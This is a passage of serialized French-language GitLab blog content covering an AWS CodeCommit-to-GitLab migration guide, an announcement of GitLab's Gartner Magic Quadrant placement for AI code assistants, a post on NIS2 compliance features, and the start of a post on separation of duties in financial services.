automatiser l'ensemble du processus (du contrôle des sources et des compilations, aux tests et déploiement) en utilisant des services AWS tels que AWS CodeBuild et AWS CodeDeploy. Vous bénéficiez ainsi d'un processus de livraison robuste, évolutif et efficace.\n\n![Tableau des nouvelles technologies et solutions pour associer GitLab et AWS](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codepipeline_step_2_source_configured_aHR0cHM6_1750097822129.png)\n\n### 1. Connectez GitLab aux services AWS à l'aide d'AWS CodeStar Connections\n\nLe service AWS CodeStar Connections vous permet de connecter des dépôts Git externes (tels que GitHub ou Bitbucket) aux services AWS. Vous pouvez également utiliser CodeStar Connections pour connecter GitLab aux services AWS. Si vous utilisez GitLab, vous devrez peut-être configurer une connexion personnalisée en tant que serveur HTTP Git. \n\nCette méthode permet de connecter les services AWS suivants à GitLab :\n\n- **AWS Service Catalog**\n\nAWS Service Catalog aide les entreprises à standardiser et à gérer les ressources AWS. Son intégration à GitLab améliore la transparence de la gestion des ressources et simplifie le suivi des changements. Plus précisément, vous pouvez automatiser les mises à jour du catalogue en fonction des validations GitLab, ce qui améliore l'efficacité opérationnelle.\n\n- __AWS CodeBuild__\n\nAWS CodeBuild est un service qui compile votre code source, exécute des tests et produit des packages logiciels prêts à être déployés. L'intégration de GitLab avec AWS CodeBuild lance des processus de compilation automatisés à chaque fois qu'un push de modifications de code sur GitLab est effectué. La cohérence des compilations est ainsi garantie, tandis que la collaboration et le [contrôle des versions](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\") sont facilités.\n\n- __AWS Glue__\n\nLe service de blocs-notes intégrés à AWS Glue vous permet de développer et d'exécuter de manière interactive des tâches de préparation de données et ETL (processus d'extraction, de transformation et de chargement). L'intégration de GitLab avec les blocs-notes intégrés à AWS Glue vous permet de contrôler les versions des blocs-notes et des scripts ETL, de favoriser la collaboration entre les membres de l'équipe et d'améliorer la gestion de la qualité des pipelines de traitement des données.\n\n- __AWS Proton__\n\nAWS Proton automatise le développement et le déploiement de [microservices](https://about.gitlab.com/fr-fr/blog/what-are-the-benefits-of-a-microservices-architecture/ \"Architecture de microservices\") et d'applications [serverless](https://about.gitlab.com/fr-fr/topics/serverless/ \"Qu'est-ce que le serverless ?\"). En intégrant GitLab à AWS Proton, vous pouvez gérer l'[Infrastructure as Code](https://about.gitlab.com/fr-fr/topics/gitops/infrastructure-as-code/ \"Qu'est-ce que l'infrastructure en tant que code (IaC) ?\"), automatiser les déploiements et gérer l'environnement de façon cohérente. L'efficacité des processus de développement s'en trouve améliorée.\n\nAWS CodeStar Connections prend en charge davantage de services, ce qui facilite la connexion de GitLab avec d'autres services AWS. Nous vous conseillons de vérifier régulièrement si de nouveaux services prennent en charge CodeStar Connections.\n\n### 2. Connectez AWS CodePipeline à GitLab à l'aide AWS CodeStar Connections (y compris CodeDeploy)\n\nAWS CodePipeline est un service de livraison continue qui automatise le processus de livraison de logiciels. Pour connecter GitLab à AWS CodePipeline, vous devez utiliser AWS CodeStar Connections. Cette configuration vous permet de désigner un dépôt GitLab comme source et d'automatiser l'ensemble du pipeline CI/CD.\n\nAWS CodePipeline prend en charge les actions principales suivantes :\n- **Contrôle de version :** Amazon AWS CodeCommit, GitHub, Bitbucket, GitLab\n- **Compilations et tests :** AWS CodeBuild, Jenkins\n- **Déploiement :** AWS CodeDeploy, Elastic Beanstalk, ECS, S3\n- **Approbation :** approbation manuelle\n- **Gestion de l'infrastructure :** AWS CloudFormation\n- **Serverless :** AWS Lambda\n- **Tests :** AWS Device Farm\n- **Actions personnalisées :** AWS Step Functions\n\nEn intégrant GitLab avec AWS CodePipeline, vous pouvez automatiquement déclencher le pipeline chaque fois qu'un push de modifications de code sur GitLab est effectué, ce qui garantit la cohérence à chaque étape du processus, de la compilation au déploiement. De plus, avec les capacités de contrôle de version de GitLab, il est plus facile de suivre l'historique et les statuts de déploiement, ce qui permet une livraison de logiciels plus flexible et plus fiable.\n\n## Conclusion\n\nCe guide complet vous a expliqué comment effectuer la migration et l'intégration de GitLab avec AWS. La stratégie d'hébergement et d'intégration de code est propre à chaque entreprise. C’est pourquoi nous vous invitons à utiliser ce tutoriel comme point de départ pour établir votre propre stratégie d'intégration et de mise en œuvre de GitLab + AWS.\n\nPour consulter des informations plus détaillées et des configurations avancées, reportez-vous aux ressources suivantes :\n\n- [Documentation GitLab](https://docs.gitlab.com/)\n- [Guide de l'utilisateur AWS CodeBuild](https://docs.aws.amazon.com/codebuild/latest/userguide/welcome.html)\n- [Guide de l'utilisateur AWS CodePipeline](https://docs.aws.amazon.com/codepipeline/latest/userguide/welcome.html)\n- [Documentation GitLab CI/CD](https://docs.gitlab.com/ee/ci/)\n- [Intégration avec AWS](https://docs.gitlab.com/ee/solutions/cloud/aws/gitlab_aws_integration.html)\n\nSi vous avez des questions ou si vous avez besoin d'aide, contactez [l'assistance GitLab](https://about.gitlab.com/support/) ou l'assistance AWS. Nous espérons que ce guide complet vous aidera à progresser dans votre parcours d'intégration AWS-GitLab.",[110,700,1067,1069,1708,676,235],{"slug":2456,"featured":92,"template":683},"ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab","content:fr-fr:blog:ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab.yml","Ultimate Guide To Migrating From Aws Codecommit To Gitlab","fr-fr/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab.yml","fr-fr/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab",{"_path":2462,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2463,"content":2469,"config":2476,"_id":2478,"_type":16,"title":2479,"_source":17,"_file":2480,"_stem":2481,"_extension":20},"/fr-fr/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants",{"title":2464,"description":2465,"ogTitle":2464,"ogDescription":2465,"noIndex":6,"ogImage":2466,"ogUrl":2467,"ogSiteName":841,"ogType":842,"canonicalUrls":2467,"schema":2468},"Magic Quadrant 2024 : GitLab, Leader des agents IA de code","GitLab reconnue pour sa capacité d'exécution et l'exhaustivité de sa vision en matière de technologie d'assistant IA pour le code.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664458/Blog/Hero%20Images/Gartner_AI_Code_Assistants_Blog_Post_Cover_Image_1800x945.png","https://about.gitlab.com/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab nommée Leader dans le Magic Quadrant 2024 de Gartner dédié aux assistants IA pour le code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-08-22\",\n      }",{"title":2470,"description":2471,"authors":2472,"heroImage":2466,"date":2473,"body":2474,"category":697,"tags":2475,"updatedDate":2328},"GitLab nommée Leader dans le Magic Quadrant 2024 de Gartner dédié aux assistants IA pour le code","Dans le premier Magic Quadrant™ de Gartner® applicable à cette catégorie, GitLab est reconnue pour sa capacité d'exécution et l'exhaustivité de sa vision en matière de technologie d'assistant IA pour le code.",[1191],"2024-08-22","Nous sommes ravis d'annoncer que GitLab a été reconnue comme Leader dans la première édition du [Magic Quadrant™ de Gartner® dédié aux assistants IA pour le code](https://about.gitlab.com/fr-fr/gartner-mq-ai-code-assistants/ \"Magic Quadrant™ de Gartner® 2024 dédié aux assistants de codage IA\"). Cette reconnaissance importante à nos yeux souligne notre engagement à fournir à nos clients des capacités alimentées par l'IA qui accélèrent la livraison de logiciels, renforcent la sécurité et stimulent l'innovation. \n\nLes assistants IA pour le code ne se limitent pas à la génération et à la complétion de code. Ce sont des partenaires qui améliorent l'efficacité des équipes de développement dans une démarche de collaboration, en améliorant la qualité du code et en favorisant l'apprentissage continu. Les assistants comme GitLab Duo, notre suite de fonctionnalités alimentées par l'IA, automatisent les tâches routinières et fournissent des suggestions intelligentes. Les développeurs et développeuses ont ainsi plus de temps pour se concentrer sur la résolution de problèmes de plus haut niveau. \n\n![Image assistants d'IA pour le codage Gartner MQ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675964/Blog/Content%20Images/AI_Code_Assistants_MQ_graphic__1_.png)\n\n> Téléchargez le [rapport Magic Quadrant™ 2024 de Gartner® dédié aux assistants IA pour le code](https://about.gitlab.com/fr-fr/gartner-mq-ai-code-assistants/).\n\n## Assistants IA pour le code : rapidité, sécurité et intégration fluide\n\nLes assistants IA pour le code font partie intégrante des entreprises de toutes tailles, aidant les équipes DevSecOps à développer et à déployer des logiciels sécurisés plus rapidement. Cependant, l'IA révèle la pleine étendue de sa valeur lorsqu'elle est intégrée tout au long du cycle de développement logiciel. Contrairement aux solutions d'IA ponctuelles et limitées qui peuvent entraîner la fragmentation des chaînes d'outils et l'apparition de silos de données, la plateforme complète de GitLab intègre l'IA de la planification à la production. Elle comporte des métriques et des tableaux de bord qui offrent une visibilité et des informations globales.\n\n## La puissance de GitLab Duo\n\n[GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/) est une boîte à outils complète de fonctionnalités d'IA, conçue pour améliorer l'expérience des développeurs et développeuses, contrôler la sécurité en amont dans le cycle de développement logiciel et renforcer la collaboration entre les équipes Dev, Sec et Ops. \n\nVoici ses principales fonctionnalités : \n\n* Les suggestions de code permettent la génération et la complétion de code\n* Le chat apporte une assistance contextuelle intégrée au sein de l'application sur l'explication du code, le réusinage du code et la génération de tests\n* L'explication des vulnérabilités permet de mieux comprendre les vulnérabilités dans le code\n* La résolution des vulnérabilités aide à atténuer les vulnérabilités détectées\n* L'analyse des causes profondes résout les problèmes de pipeline\n* Le tableau de bord d'analyse d'impact de l'IA permet d'obtenir des informations en temps réel et d'évaluer le ROI de l'IA dans une entreprise\n\n## Optimisez votre retour sur investissement avec l'IA \n\nLes dirigeants d'entreprise et les ingénieurs ont besoin de visibilité pour savoir comment l'IA est utilisée tout au long du cycle de développement logiciel dans le but d'évaluer le retour de leurs investissements technologiques. Le [tableau de bord d'analyse d'impact de l'IA](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/) de GitLab leur fournit cette visibilité, grâce à des métriques permettant d'évaluer les taux d'adoption de l'IA, les améliorations des performances et plus encore.\n\n## La flexibilité, la confidentialité et la transparence au premier plan\n\nLes clients de GitLab qui souhaitent explorer les capacités alimentées par l'IA peuvent utiliser GitLab Duo pour tirer parti de la puissance de l'intelligence artificielle en toute sécurité dans l'IDE de leur choix ou dans un espace de travail de développement à distance, tout en profitant d'une tarification flexible et d'un essai gratuit. En outre, le [centre de transparence sur l'IA de GitLab](https://about.gitlab.com/fr-fr/ai-transparency-center/) vous donne une visibilité complète sur nos pratiques de gouvernance et de transparence. \n\nBientôt, les entreprises pourront [adapter leur expérience d'IA](https://about.gitlab.com/fr-fr/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development/) à leurs exigences stratégiques et réglementaires grâce à la personnalisation des modèles et au déploiement de modèles auto-hébergés. La personnalisation des modèles permettra aux entreprises de personnaliser GitLab Duo et d'exploiter tout le potentiel de l'IA conformément à leurs objectifs commerciaux, à leurs besoins opérationnels et aux attentes de leurs clients. Le déploiement de modèles auto-hébergés garantit que les données ne quittent pas l'environnement sécurisé d'une entreprise, réduisant ainsi le risque d'atteinte à la sécurité et garantissant la conformité dans les secteurs hautement réglementés. \n\n## L'avenir de l'IA au sein des processus DevSecOps\n\nGitLab est votre partenaire de développement de logiciels alimenté par l'IA. Nous donnons aux équipes les outils nécessaires pour créer, sécuriser et déployer des logiciels plus rapidement. Notre engagement en faveur de l'innovation vous permet d'être toujours à la pointe des avancées en matière d'IA. Nous continuons à révolutionner les processus DevSecOps. Retrouvez-nous bientôt pour découvrir de nouvelles mises à jour de notre roadmap.\n\n> [Téléchargez le rapport Magic Quadrant™ 2024 de Gartner® dédié aux assistants IA pour le code](https://about.gitlab.com/fr-fr/gartner-mq-ai-code-assistants/).\n\n***Source : Gartner, Magic Quadrant dédié aux assistants IA pour le code, Arun Batchu, Haritha Khandabattu, Philip Walsh, Matt Brasier, août 2024***\n\n***GARTNER est une marque déposée et une marque de service de Gartner, Inc. et/ou de ses sociétés affiliées aux États-Unis et à l'étranger, et MAGIC QUADRANT est une marque déposée de Gartner, Inc. et/ou de ses sociétés affiliées. Elles sont utilisées ici avec autorisation. Tous droits réservés.***\n\n***Gartner ne cautionne aucun fournisseur, produit ou service décrit dans ses publications de recherche, et ne conseille pas aux utilisateurs de la technologie de sélectionner uniquement les fournisseurs ayant les notes les plus élevées ou toute autre désignation. Les publications de recherche de Gartner reflètent les opinions de l'organisation de recherche de Gartner\net ne doivent pas être interprétées comme des déclarations de fait. Gartner décline toute garantie, expresse ou implicite, à l'égard de cette recherche, y compris toute garantie de qualité marchande ou d'adéquation à un usage particulier.***\n\n***Ce graphique a été publié par Gartner Inc. dans le cadre d'un rapport plus vaste et doit être évalué dans le contexte de l'ensemble du document. Le document produit par Gartner est disponible sur demande auprès de Gartner B.V.***",[827,699,784,1195],{"slug":2477,"featured":92,"template":683},"gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants","content:fr-fr:blog:gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants.yml","Gitlab Named A Leader In 2024 Gartner Magic Quadrant For Ai Code Assistants","fr-fr/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants.yml","fr-fr/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants",{"_path":2483,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2484,"content":2489,"config":2495,"_id":2497,"_type":16,"title":2498,"_source":17,"_file":2499,"_stem":2500,"_extension":20},"/fr-fr/blog/how-gitlab-helps-meet-nis2-requirements",{"title":2485,"description":2486,"ogTitle":2485,"ogDescription":2486,"noIndex":6,"ogImage":1370,"ogUrl":2487,"ogSiteName":841,"ogType":842,"canonicalUrls":2487,"schema":2488},"Comment se conformer aux exigences de la directive NIS2 avec GitLab ","La directive NIS2 se concentre sur la résilience, la réponse aux incidents et la gestion des risques. Découvrez comment GitLab vous permet de répondre à ces exigences de conformité.","https://about.gitlab.com/blog/how-gitlab-helps-meet-nis2-requirements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment se conformer aux exigences de la directive NIS2 avec GitLab \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2024-08-20\",\n      }",{"title":2485,"description":2486,"authors":2490,"heroImage":1370,"date":2492,"body":2493,"category":673,"tags":2494},[2491],"Joseph Longo","2024-08-20","Les organismes gouvernementaux et législatifs du monde entier promulguent régulièrement de nouvelles lois et exigences pour faire face au risque croissant posé par notre quotidien de plus en plus numérisé et les menaces de cybersécurité qui en résultent. La [directive NIS2](https://eur-lex.europa.eu/eli/dir/2022/2555) de l'Union européenne vise à renforcer la cybersécurité en se concentrant sur des compétences essentielles telles que la résilience, la réponse aux incidents et la gestion des risques.\n\nEn tant que plateforme DevSecOps alimentée par l'IA la plus complète, GitLab est utilisée dans le monde entier pour développer des logiciels de qualité plus rapidement. La diversité des fonctionnalités de GitLab en fait un atout unique et précieux, capable de répondre aux nombreux besoins de nos clients en matière de [sécurité et de conformité](https://about.gitlab.com/fr-fr/solutions/security-compliance/). \n\nDans cet article, explorons ensemble la façon dont vous pouvez vous appuyer sur notre plateforme pour accompagner vos efforts de conformité à la directive NIS2.\n\n## Article 7 : Stratégie nationale en matière de cybersécurité\n\n**Section 2(a) : la cybersécurité dans le cadre de la chaîne d’approvisionnement des produits et services TIC utilisés par des entités pour la fourniture de leurs services.**\n\nLa directive NIS2 exige que les États membres adoptent des politiques en matière de cybersécurité dans la chaîne d'approvisionnement. \n\nBien que celles-ci doivent encore être définies par chaque État membre, GitLab dispose d’une suite de fonctionnalités permettant aux clients de [gérer la sécurité](https://about.gitlab.com/fr-fr/solutions/security-compliance/ \"Sécurité et gouvernance de GitLab\") de leur offre de services, ainsi que celle de leur chaîne d'approvisionnement :\n\n- Les [tests statiques de sécurité des applications (SAST)](https://about.gitlab.com/features/?stage=secure#static_application_security_testing), l'[analyse de sécurité de l'infrastructure en tant que code](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) et les [tests dynamiques de sécurité des applications (DAST)](https://about.gitlab.com/features/?stage=secure#dynamic_application_security_testing) permettent aux clients d'analyser leur code source et leurs fichiers de définition d'infrastructure, ainsi que leurs applications en cours d'exécution pour détecter d'éventuelles vulnérabilités. Les résultats peuvent ensuite être triés et traités conformément aux processus de chaque entreprise.\n\n- La fonctionnalité d'[analyse des conteneurs](https://about.gitlab.com/features/?stage=secure#container_scanning) de GitLab aide les clients à identifier les vulnérabilités connues dans leurs images de conteneurs.\n\n![Rapport de l'analyse des conteneurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.38.54.png)\n\n- Au niveau de la chaîne d'approvisionnement, l'[analyse des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) aide à identifier les vulnérabilités connues dans les dépendances des applications des clients. La [conformité des licences logicielles](https://docs.gitlab.com/ee/user/compliance/license_approval_policies.html) étend la portée de l'analyse des dépendances en déterminant si les licences des dépendances répondent à un ensemble de critères déterminés par l'entreprise.\n\n- Avec la [liste des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_list/) de GitLab, les entreprises peuvent créer une [nomenclature logicielle (SBOM)](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"Qu'est-ce qu'une nomenclature logicielle (SBOM) ?\") CycloneDX. Pour en savoir plus, consultez [ce tutoriel dédié à l'exportation d'une SBOM](https://docs.gitlab.com/ee/tutorials/export_sbom.html).\n\nLa combinaison de ces fonctionnalités d'analyse contribue à la création d'un ensemble de tests complet et efficace, capable de prendre en charge des processus robustes de développement d'applications et de gestion de la chaîne d'approvisionnement. Le DAST, l'analyse des dépendances et la conformité des licences logicielles sont disponibles avec un abonnement à GitLab Ultimate.\n\n> [Essayez GitLab Ultimate gratuitement pendant 30 jours](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n\n## Article 21 : Mesures de gestion des risques en matière de cybersécurité\n\nLa directive NIS2 exige des États membres qu'ils veillent à ce que les entités essentielles et importantes mettent en œuvre des mesures techniques, organisationnelles et opérationnelles appropriées visant à gérer correctement les risques et atténuer l'impact subi par les utilisateurs à la suite d'incidents affectant leurs services.\n\n**Section 2(d) : la sécurité de la chaîne d’approvisionnement, y compris les aspects liés à la sécurité concernant les relations entre chaque entité et ses fournisseurs ou prestataires de services directs.**\n\nL'étape de [sécurisation](https://about.gitlab.com/fr-fr/solutions/security-compliance/) de GitLab permet aux clients de mettre en place un large éventail de capacités de détection et de réponse qui améliorent la sécurité de leur code et résout les risques au sein de leurs chaînes d'approvisionnement.\n\nCes fonctionnalités peuvent être exploitées pour répondre aux exigences que les États membres définiront dans le cadre de cette section.\n\n**Section 2(e) : la sécurité de l’acquisition, du développement et de la maintenance des réseaux et des systèmes d’information, y compris le traitement et la divulgation des vulnérabilités.**\n\nEn tant que plateforme DevSecOps complète, les fonctionnalités de GitLab aident à sécuriser l'ensemble du cycle de livraison de logiciels de nos clients.\n\n- Les [outils de planification](https://about.gitlab.com/features/?stage=plan) de GitLab peuvent soutenir vos efforts de gestion de projet et assurer que la sécurité de l'information est correctement prise en compte à chaque phase du cycle de vie d'un projet. Pour en savoir plus, consultez l'article [ISO 27001: comment GitLab vous assiste dans votre démarche de conformité.](https://about.gitlab.com/fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey/#organizational-controls).\n\n- Grâce à des fonctionnalités telles que les [branches protégées](https://docs.gitlab.com/ee/user/project/protected_branches.html), les [approbations de merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/), les [règles en matière de push](https://docs.gitlab.com/ee/push_rules/push_rules.html) et les [validations signées](https://docs.gitlab.com/ee/user/project/repository/signed_commits/), l'[étape de création](https://about.gitlab.com/features/?stage=create) de GitLab propose une base sécurisée capable d'évoluer en fonction des besoins des développeurs au fur et à mesure de leur création de code sécurisé.\n\n![Validations signées](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.34.24.png)\n\n- Les fonctionnalités de l'[étape de sécurisation](https://about.gitlab.com/features/?stage=verify) de GitLab évoquées plus haut apportent une valeur basée sur la sécurité aux étapes [de vérification](https://about.gitlab.com/features/?stage=verify), [d'empaquetage](https://about.gitlab.com/features/?stage=package) et [de déploiement](https://about.gitlab.com/features/?stage=deploy) de GitLab. Ces étapes comprennent des fonctionnalités d'[intégration et de livraison continues](https://about.gitlab.com/fr-fr/solutions/continuous-integration/), telles que les [pipelines de merge request](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html) et les [runners protégés](https://docs.gitlab.com/ee/ci/runners/#prevent-runners-from-revealing-sensitive-information), ainsi que plusieurs registres d'artefacts pour répondre aux besoins de votre entreprise.\n\n- L'[étape de surveillance](https://about.gitlab.com/features/?stage=monitor) de GitLab offre des fonctionnalités telles que les [alertes](https://docs.gitlab.com/ee/operations/incident_management/alerts.html) et les [incidents](https://docs.gitlab.com/ee/operations/incident_management/incidents.html) permettant aux entreprises de prendre connaissance des incidents et d'en suivre la progression depuis notre plateforme jusqu’à leur remédiation. \n\n- Les fonctionnalités de l'[étape de gouvernance](https://about.gitlab.com/fr-fr/solutions/security-compliance/) de GitLab établissent des normes quant à l'utilisation d’une instance de GitLab et à ses modalités. Elles soutiennent également les efforts globaux de conformité d'une entreprise.\n  - Des fonctionnalités telles que le [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html), le [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) et [les rôles personnalisés](https://docs.gitlab.com/ee/user/custom_roles.html) prennent efficacement en charge les cycles de vie d'authentification et d'autorisation.\n  - Les [stratégies d'approbation des merge requests](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) constituent un outil puissant qui intègre une barrière de sécurité dans votre cycle de développement logiciel. À l'aide des stratégies d'approbation des merge requests, il est possible d'exiger des approbations supplémentaires pour des événements. Par exemple, lorsque des vulnérabilités sont détectées après un commit, lorsque certains types de licences sont détectés dans des dépendances ou lorsqu'une merge request est effectuée sur une branche protégée spécifique. Les stratégies d'approbation des merge requests sont incluses dans l'abonnement à GitLab Ultimate.\n  - Avec [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), les entreprises peuvent tirer parti de la fonctionnalité d'[explication des vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#explaining-a-vulnerability) pour : résumer une vulnérabilité, aider les développeurs et les analystes de sécurité à comprendre la vulnérabilité, comment elle pourrait être exploitée et comment la corriger, ou encore suggérer des mesures d’atténuation. \n\n  - Les [événements d'audit en streaming](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) permettent aux entreprises d'envoyer des événements d'audit de leur groupe principal vers un emplacement externe afin de recevoir tous les événements se rapportant au groupe, aux sous-groupes et aux projets. Les événements d'audit en streaming sont disponibles avec un abonnement GitLab Ultimate.\n  - Un programme complet de lutte contre les menaces internes combine plusieurs niveaux de contrôles de détection, de prévention et de réaction. La [limitation des requêtes pour la gestion des abus de Git](https://docs.gitlab.com/ee/user/group/reporting/git_abuse_rate_limit.html) avertit automatiquement les administrateurs lorsqu'un utilisateur télécharge, clone, effectue un pull, récupère ou duplique un nombre de dépôts supérieur à une certaine limite au cours d'une période donnée. Les entreprises peuvent aller plus loin et activer le bannissement automatique pour bannir l'utilisateur fautif du groupe et de ses sous-groupes. La limitation des requêtes pour la gestion des abus de Git est proposée dans l'abonnement GitLab Ultimate.\n  - Pour approfondir les vulnérabilités détectées, le [rapport de vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) de GitLab fournit des informations sur les vulnérabilités issues des scans de la branche par défaut. Les rapports de vulnérabilité sont disponibles avec un abonnement GitLab Ultimate.\n\n![Rapport de vulnérabilité](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.32.02.png)\n\n**Section 2(j) : l’utilisation de solutions d’authentification à plusieurs facteurs ou d’authentification continue, de communications vocales, vidéo et textuelles sécurisées et de systèmes sécurisés de communication d’urgence au sein de l’entité, selon les besoins.**\n\nGitLab offre plusieurs options d'authentification à plusieurs facteurs pour renforcer le processus d'authentification. Les clients peuvent sélectionner l'[option d'authentification multifacteur](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) qui répond à leurs exigences, ou encore mettre en œuvre le [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) pour améliorer davantage le processus d'authentification.\n\n## Quelles sont les prochaines étapes ?\n\nLa plateforme de GitLab est bien placée pour répondre aux exigences du cycle du développement logiciel au fur et à mesure de la mise en place des directives générales qui seront émises par les États membres en réponse à la directive NIS2.\n\nPour en savoir plus sur les fonctionnalités décrites tout au long de cet article, consultez notre bibliothèque de [tutoriels](https://docs.gitlab.com/ee/tutorials/).\n\n> [Essayez GitLab Ultimate gratuitement](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n",[1067,673,676],{"slug":2496,"featured":92,"template":683},"how-gitlab-helps-meet-nis2-requirements","content:fr-fr:blog:how-gitlab-helps-meet-nis2-requirements.yml","How Gitlab Helps Meet Nis2 Requirements","fr-fr/blog/how-gitlab-helps-meet-nis2-requirements.yml","fr-fr/blog/how-gitlab-helps-meet-nis2-requirements",{"_path":2502,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2503,"content":2509,"config":2518,"_id":2520,"_type":16,"title":2521,"_source":17,"_file":2522,"_stem":2523,"_extension":20},"/fr-fr/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"ogTitle":2504,"schema":2505,"ogImage":2506,"ogDescription":2507,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2508,"title":2504,"canonicalUrls":2508,"description":2507},"La séparation des tâches de GitLab pour le secteur financier","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Les fonctionnalités de séparation des tâches de GitLab pour le secteur financier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cherry Han\"},{\"@type\":\"Person\",\"name\":\"Gavin Peltz\"}],\n        \"datePublished\": \"2024-08-13\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097688/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%286%29_6vL96ttKF8zJLLqfPpvFs_1750097687913.png","Découvrez comment GitLab garantit un développement logiciel sécurisé et conforme aux exigences de séparation des tâches dans le secteur financier.","https://about.gitlab.com/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"heroImage":2506,"body":2510,"authors":2511,"updatedDate":2514,"date":2515,"title":2516,"tags":2517,"description":2507,"category":673},"Dans le développement logiciel, des mesures rigoureuses de sécurité et de conformité sont indispensables, en particulier dans des secteurs tels que les services financiers, où l'intégrité des données et le respect des réglementations ne sont pas négociables. La séparation des tâches (Separation of Duties) joue un rôle clé dans le maintien de ces normes. Elle garantit qu'aucune personne ne contrôle totalement un processus du début à la fin, réduisant ainsi le risque d'erreurs et d'activités non autorisées. La séparation des tâches atténue les risques liés à la chaîne d'approvisionnement logicielle en empêchant les actes externes et malveillants susceptibles de compromettre l'intégrité du processus de développement logiciel.\n\n## L'importance de la séparation des tâches dans le secteur des services financiers\n\nDans le secteur des [services financiers](https://about.gitlab.com/fr-fr/solutions/finance/ \"Services financiers\"), la séparation des tâches joue un rôle essentiel pour protéger les données sensibles et garantir la conformité réglementaire. Sur le plan stratégique, voici comment la séparation des tâches contribue à ce secteur :\n\n* **Atténuation des risques :** en répartissant les responsabilités entre plusieurs personnes exerçant des rôles différents, la séparation des tâches réduit le risque d'erreurs, de fraudes et d'activités non autorisées qui pourraient compromettre l'intégrité des systèmes ou la conformité réglementaire.\n* **Renforcement de la responsabilité :** une répartition claire des tâches empêche quiconque d'initier, d'autoriser ou d'exécuter un processus complet de manière autonome. Cette transparence améliore la responsabilisation, essentielle pour maintenir la confiance avec les parties prenantes et les organismes régulateurs.\n* **Conformité réglementaire :** la séparation des tâches aide les entreprises à respecter les réglementations financières afin que les opérations sensibles soient menées dans le respect des règles strictes de surveillance et de contrôle. La conformité à ces normes protège non seulement contre les sanctions, mais préserve aussi la réputation de l'entreprise.\n* **Résilience opérationnelle :** en décentralisant la prise de décision et l'exécution des tâches, les entreprises deviennent moins vulnérables aux perturbations causées par des erreurs humaines, des actions malveillantes ou des événements inattendus.\n\n## Quelles sont les fonctionnalités de séparation des tâches de GitLab ?\n\nGitLab offre des fonctionnalités de séparation des tâches à chaque étape du workflow [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"DevSecOps\").\n\n![La séparation des tâches appliquée aux services financiers - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097695/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097695697.png)\n\nLe diagramme ci-dessus illustre l'intégration de fonctionnalités clés telles que les stratégies d'approbation des merge requests, les fonctionnalités protégées, les autorisations des utilisateurs, les frameworks de conformité et les événements d'audit, lesquelles fonctionnent de concert pour appliquer les principes de la séparation des tâches. Chaque fonctionnalité est détaillée dans les sections suivantes, qui vous expliquent comment mettre en place un environnement de développement sécurisé et conforme.\n\n### Les stratégies d'approbation des merge 